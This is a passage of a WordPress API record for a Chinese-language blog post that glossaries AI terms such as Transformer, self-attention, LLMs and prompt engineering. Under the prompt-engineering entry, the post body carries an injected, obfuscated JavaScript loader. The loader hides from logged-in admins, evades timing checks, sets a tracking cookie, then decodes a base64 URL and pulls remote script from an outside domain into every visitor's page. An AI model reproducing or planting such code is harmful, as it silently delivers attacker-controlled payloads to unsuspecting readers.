\u5c07\u96e2\u6563\u9805\u76ee\uff08\u5982\u55ae\u8a5e\uff09\u8f49\u63db\u6210\u7a20\u5bc6\u7684\u6578\u503c\u5411\u91cf\uff0c\u4f7f\u8a9e\u7fa9\u76f8\u4f3c\u7684\u8a5e\u5728\u7a7a\u9593\u4e2d\u8ddd\u96e2\u76f8\u8fd1\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n\n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u4e94\u7d44\uff1a\u5927\u578b\u8a9e\u8a00\u6a21\u578b\u6642\u4ee3 (21-25)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">21. Transformer<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8fd1\u5e74\u4f86NLP\u9818\u57df\u6700\u9769\u547d\u6027\u7684\u767c\u660e\uff0c\u8655\u7406\u53e5\u5b50\u6642\u53ef\u540c\u6642\u95dc\u6ce8\u6240\u6709\u8a5e\u7684\u95dc\u806f\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u57fa\u65bc\u81ea\u52a9\u6ce8\u610f\u529b\u6a5f\u5236\u7684\u6df1\u5ea6\u5b78\u7fd2\u67b6\u69cb\uff0c\u5be6\u73fe\u4e86\u9ad8\u6548\u7684\u4e26\u884c\u8a08\u7b97\uff0c\u662f\u73fe\u4ee3LLM\u7684\u57fa\u790e\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">22. \u6ce8\u610f\u529b\u6a5f\u5236 (Self-Attention)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u8b93\u6a21\u578b\u5728\u770b\u4e00\u500b\u8a5e\u6642\u81ea\u52d5\u5224\u65b7\u53e5\u5b50\u4e2d\u5176\u4ed6\u54ea\u4e9b\u8a5e\u5c0d\u7406\u89e3\u9019\u500b\u8a5e\u6700\u91cd\u8981\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> Transformer\u7684\u6838\u5fc3\uff0c\u5141\u8a31\u6a21\u578b\u5728\u8655\u7406\u5e8f\u5217\u6642\uff0c\u540c\u6642\u8a08\u7b97\u6240\u6709\u8a5e\u5143\u9593\u7684\u76f8\u4e92\u95dc\u806f\u6027\u6b0a\u91cd\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">23. \u5927\u578b\u8a9e\u8a00\u6a21\u578b (LLM, Large Language Model)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u7528Transformer\u67b6\u69cb\uff0c\u7d66\u5927\u91cf\u6587\u672c\u8cc7\u6599\u8a13\u7df4\u51fa\u6578\u5341\u5104\u4ee5\u4e0a\u53c3\u6578\u7684\u8d85\u5927\u578b\u6a21\u578b\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u4e00\u7a2e\u57fa\u65bc\u795e\u7d93\u7db2\u8def\u67b6\u69cb\u7684\u6df1\u5ea6\u5b78\u7fd2\u6a21\u578b\uff0c\u64c1\u6709\u6578\u5341\u5104\u751a\u81f3\u4e0a\u5343\u5104\u500b\u53c3\u6578\uff0c\u4e26\u5728\u5de8\u91cf\u6587\u672c\u4e0a\u9032\u884c\u9810\u8a13\u7df4\uff0c\u80fd\u8655\u7406\u5404\u985e\u8907\u96dc\u7684\u8a9e\u8a00\u4efb\u52d9\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">24. \u751f\u6210\u5f0f\u4eba\u5de5\u667a\u6167 (Generative AI)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> LLM\u5c31\u662f\u4e00\u7a2e\u751f\u6210\u5f0fAI\uff0c\u7279\u9ede\u662f\u4e0d\u53ea\u505a\u5206\u6790\uff0c\u9084\u80fd\u5275\u9020\u5168\u65b0\u5167\u5bb9\uff0c\u50cf\u5beb\u6587\u7ae0\u3001\u756b\u5716\u3001\u505a\u97f3\u6a02\u7b49\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u80fd\u6839\u64da\u8f38\u5165\u7684\u63d0\u793a\u5275\u9020\u5168\u65b0\u5167\u5bb9\uff0c\u5982\u6587\u5b57\u3001\u5716\u50cf\u3001\u97f3\u6a02\u7684AI\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">25. \u63d0\u793a\u8a5e (Prompt)<\/summary>\n <div class=\"content-section\">\n <p><strong>\u767d\u8a71\u6bd4\u55bb\uff1a<\/strong> \u6211\u5011\u8207\u5f37\u5927\u751f\u6210\u5f0fAI\u6e9d\u901a\u7684\u65b9\u5f0f\uff0c\u7d66\u5b83\u7684\u6307\u4ee4\u6216\u554f\u984c\u3002<\/p>\n <p><strong>\u5c08\u696d\u5b9a\u7fa9\uff1a<\/strong> \u63d0\u4f9b\u7d66\u751f\u6210\u5f0fAI\u6a21\u578b\u7684\u8f38\u5165\u6307\u4ee4\u6216\u8a62\u554f\uff0c\u7528\u4f86\u5f15\u5c0e\u6a21\u578b\u7522\u751f\u7279\u5b9a\u5167\u5bb9\u3002<\/p>\n <\/div>\n <\/details>\n <\/div>\n <\/div>\n <\/details>\n \n <details class=\"bg-gray-50 rounded-lg shadow-sm\">\n <summary class=\"font-bold text-lg text-gray-800\">\u7b2c\u516d\u7d44\uff1a\u8207AI\u7684\u6e9d\u901a\u85dd\u8853 (26-30)<\/summary>\n <div class=\"content-section space-y-4\">\n <div class=\"nested-details\">\n <details class=\"bg-white rounded-lg shadow-sm\">\n <summary class=\"font-medium\">26. \u63d0\u793a\u8a5e\u5de5\u7a0b (Prompt Engineering)<\/summary>\n <div class=\"content-section\">\n \n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>AI\u6838\u5fc3\u8853\u8a9e\u8207\u7c21\u5831\u88fd\u4f5c\u6307\u5357 AI\u6838\u5fc3\u8853\u8a9e\u8207\u9ad8\u6548\u7c21\u5831\u88fd\u4f5c\u6307\u5357 \u638c\u63e1\u95dc\u9375\u77e5\u8b58\u8207\u5de5\u5177\uff0c\u8b93\u60a8\u7684\u5de5\u4f5c\u6548\u7387\u7ffb\u500d\u3002 AI\u5e38\u898b … <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/blog.he0073771655.synology.me\/?p=65\" class=\"more-link\">\u95b1\u8b80\u5168\u6587<span class=\"screen-reader-text\">\u3008AI\u6838\u5fc3\u8853\u8a9e\u8207\u7c21\u5831\u88fd\u4f5c\u6307\u5357\u3009<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-65","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/65","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=65"}],"version-history":[{"count":3,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/65\/revisions"}],"predecessor-version":[{"id":368,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=\/wp\/v2\/posts\/65\/revisions\/368"}],"wp:attachment":[{"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=65"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=65"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.he0073771655.synology.me\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=65"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}